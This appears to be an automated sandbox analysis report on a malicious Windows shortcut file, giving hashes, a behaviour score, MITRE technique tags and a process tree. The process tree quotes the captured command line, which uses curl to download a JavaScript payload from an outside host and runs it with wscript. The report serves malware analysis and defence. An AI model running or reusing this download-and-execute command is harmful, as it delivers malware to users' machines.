d14b2f1f445513449bc0139fa5c1cea165fdee226b6e19f6016817518fd1306a

Analysis

max time kernel
41s
max time network
45s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
19/09/2022, 15:24

Target

reportes/Data270.lnk
Size

2KB
MD5

348eec6d5ca93ef40a4e2a098cb6de7d
SHA1

a3e0b761eb38536352acbc4d24f05008c2cef68b
SHA256

f648d67dd6e69593f08248314bec31cb1c19f14cef3c9647f0bccd469ed1509b
SHA512

2deaa68a493a6cc9bd1f45fcd20e7bbc294c3143b41a074059d0a3c2809ef3328b1824e21b06ae0c3283d78e9a699a8e0c292e4c9db6cd32f53ec652743b01bd

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1428 wrote to memory of 272	1428	cmd.exe	28
PID 1428 wrote to memory of 272	1428	cmd.exe	28
PID 1428 wrote to memory of 272	1428	cmd.exe	28

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\reportes\Data270.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /q /c echo 't5' && MD "C:\Users\Admin\AppData\Roaming\AF\yq9" && curl.exe --output C:\Users\Admin\AppData\Roaming\AF\yq9\MXoye8l.z2Xb.i8.js https://varejaocajuru.com.br/kUy/05.html && cd "C:\Users\Admin\AppData\Roaming\AF\yq9" && wscript MXoye8l.z2Xb.i8.js && echo "Vj"
  2⤵
  PID:272

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/1428-54-0x000007FEFB821000-0x000007FEFB823000-memory.dmp

Filesize
8KB

Download